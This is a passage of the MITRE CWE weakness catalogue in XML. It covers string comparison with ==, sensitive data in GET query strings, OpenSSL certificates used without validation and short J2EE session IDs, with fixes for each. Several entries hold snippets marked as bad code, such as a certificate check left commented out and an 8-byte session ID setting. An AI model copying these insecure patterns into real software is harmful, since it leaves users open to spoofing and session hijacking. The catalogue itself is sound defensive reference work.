									                  <Code/>
									                  <Code>return (this.make.equals(t.getMake()) &amp;&amp;
										this.model.equals(t.getModel()));</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Detection_Factors,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Incorrect Object Comparison:
						Semantic</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="597" Name="Use of Wrong Operator in String Comparison" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses the wrong operator when comparing a string,
					such as using "==" when the equals() method should be used
					instead.</Description_Summary>
				        <Extended_Description>
					          <Text>In Java, using == or != to compare two strings for equality actually
						compares two objects for equality, not their values. Chances are good that
						the two references will never be equal. While this weakness often only
						affects program correctness, if the equality is used for a security
						decision, it could be leveraged to affect program security.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>595</Relationship_Target_ID>
					          <!--Comparison of Object References Instead of Object Contents-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>480</Relationship_Target_ID>
					          <!--Use of Incorrect Operator-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>133</Relationship_Target_ID>
					          <!--String Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>847</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 02 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use equals() to compare strings.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-60">
					          <Intro_Text>In the example below, two Java String objects are declared and
						initialized with the same string values and an if statement is used to
						determine if the strings are equivalent.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String str1 = new String("Hello");</Code>
							              <Code>String str2 = new String("Hello");</Code>
							              <Code>if (str1 == str2) {</Code>
							              <Block>
								                <Code>System.out.println("str1 == str2");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the if statement will not be executed as the strings are
							compared using the "==" operator. For Java objects, such as String
							objects, the "==" operator compares object references, not object
							values. While the two String objects above contain the same string
							values, they refer to different object references, so the
							System.out.println statement will not be executed. To compare object
							values, the previous code could be modified to use the equals
							method:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>if (str1.equals(str2)) {</Code>
							              <Block>
								                <Code>System.out.println("str1 equals str2");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Typos", Page 289.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use the equality operators when comparing values of
						boxed primitives</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use the equality operators when comparing values of
						boxed primitives</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Erroneous String
						Compare</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="598" Name="Information Exposure Through Query Strings in GET Request" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The web application uses the GET method to process requests
					that contain sensitive information, which can expose that information through
					the browser's history, Referers, web logs, and other
					sources.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>At a minimum, attackers can garner information from query strings that
							can be utilized in escalating their method of attack, such as
							information about the internal workings of the application or database
							column names. Successful exploitation of query string parameter
							vulnerabilities could lead to an attacker impersonating a legitimate
							user, obtaining proprietary data, or simply executing actions not
							intended by the application developers.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When sensitive information is sent, use of the POST method is
							recommended (e.g. registration form).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Information Leak Through GET
						Request</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Query Strings in GET Request</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="599" Name="Trust of OpenSSL Certificate Without Validation" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses an OpenSSL Certificate without validating the
					certificate data.</Description_Summary>
				        <Extended_Description>
					          <Text>This could allow an attacker to claim to be a trusted host.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>297</Relationship_Target_ID>
					          <!--Improper Validation of Host-specific Certificate Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The data read may not be properly secured, it might be viewed by an
							attacker.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Trust afforded to the system in question may allow for spoofing or
							redirection attacks.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the certificate is not checked, it may be possible for a
							redirection or spoofing attack to allow a malicious host with a valid
							certificate to provide data under the guise of a trusted host. While the
							attacker in question may have a valid certificate, it may simply be a
							valid certificate for a different site. In order to ensure data
							integrity, we must check that the certificate is valid, and that it
							pertains to the site we wish to access.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that proper authentication is included in the system
							design.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand and properly implement all checks necessary to ensure the
							identity of entities involved in encrypted communications.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) || !host))</Code>
							              <Comment>//foo=SSL_get_verify_result(ssl);</Comment>
							              <Comment>//if ((X509_V_OK==foo)</Comment>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">No OpenSSL Certificate Check
						Performed before Use</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="6" Name="J2EE Misconfiguration: Insufficient Session-ID Length" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The J2EE application is configured to use an insufficient
					session ID length.</Description_Summary>
				        <Extended_Description>
					          <Text>If an attacker can guess or steal a session ID, then he/she may be able to
						take over the user's session (called session hijacking). The number of
						possible session IDs increases with increased session ID length, making it
						more difficult to guess or steal a session ID.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>4</Relationship_Target_ID>
					          <!--J2EE Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>334</Relationship_Target_ID>
					          <!--Small Space of Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Session ID's can be used to identify communicating parties in a web
						environment.</Text>
					          <Text>The expected number of seconds required to guess a valid session
						identifier is given by the equation: (2^B+1)/(2*A*S) Where: - B is the
						number of bits of entropy in the session identifier. - A is the number of
						guesses an attacker can try each second. - S is the number of valid session
						identifiers that are valid and available to be guessed at any given time.
						The number of bits of entropy in the session identifier is always less than
						the total number of bits in the session identifier. For example, if session
						identifiers were provided in ascending order, there would be close to zero
						bits of entropy in the session identifier no matter the identifier's length.
						Assuming that the session identifiers are being generated using a good
						source of random numbers, we will estimate the number of bits of entropy in
						a session identifier to be half the total number of bits in the session
						identifier. For realistic identifier lengths this is possible, though
						perhaps optimistic.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>If attackers use a botnet with hundreds or thousands of drone computers,
						it is reasonable to assume that they could attempt tens of thousands of
						guesses per second. If the web site in question is large and popular, a high
						volume of guessing might go unnoticed for some time. </Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If an attacker can guess an authenticated user's session identifier,
							they can take over the user's session. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence/>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Session identifiers should be at least 128 bits long to prevent
							brute-force session guessing. A shorter session identifier leaves the
							application open to brute-force session guessing attacks.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>A lower bound on the number of valid session identifiers that are
							available to be guessed is the number of users that are active on a site
							at any given moment. However, any users that abandon their sessions
							without logging out will increase this number. (This is one of many good
							reasons to have a short inactive session timeout.) With a 64 bit session
							identifier, assume 32 bits of entropy. For a large web site, assume that
							the attacker can try 1,000 guesses per second and that there are 10,000
							valid session identifiers at any given moment. Given these assumptions,
							the expected time for an attacker to successfully guess a valid session
							identifier is less than 4 minutes. Now assume a 128 bit session
							identifier that provides 64 bits of entropy. With a very large web site,
							an attacker might try 10,000 guesses per second with 100,000 valid
							session identifiers available to be guessed. Given these assumptions,
							the expected time for an attacker to successfully guess a valid session
							identifier is greater than 292 years.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-47">
					          <Intro_Text>The following XML example code is a deployment descriptor for a Java
						web application deployed on a Sun Java Application Server. This deployment
						descriptor includes a session configuration property for configuring the
						session ID length.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;sun-web-app&gt;</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>&lt;session-config&gt;</Code>
								                <Block>
									                  <Code>&lt;session-properties&gt;</Code>
									                  <Block>
										                    <Code>&lt;property name="idLengthBytes" value="8"&gt;</Code>
										                    <Block>
											                      <Code>&lt;description&gt;The number of bytes in this web
												module's session ID.&lt;/description&gt;</Code>
										                    </Block>
										                    <Code>&lt;/property&gt;</Code>
									                  </Block>
									                  <Code>&lt;/session-properties&gt;</Code>
								                </Block>
								                <Code>&lt;/session-config&gt;</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>&lt;/sun-web-app&gt;</Code>
						            </Block>
						            <Text>This deployment descriptor has set the session ID length for this Java
							web application to 8 bytes (or 64 bits). The session ID length for Java
							web applications should be set to 16 bytes (128 bits) to prevent
							attackers from guessing and/or stealing a session ID and taking over a
							user's session.</Text>
						            <Text> Note for most application servers including the Sun Java Application
							Server the session ID length is by default set to 128 bits and should
							not be changed. And for many application servers the session ID length
							cannot be changed from this default setting. Check your application
							server documentation for the session ID length default setting and
							configuration options to ensure that the session ID length is set to 128
							bits.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Link>http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Misconfiguration: Insufficient Session-ID
						Length</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Enabling_Factors_for_Exploitation, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
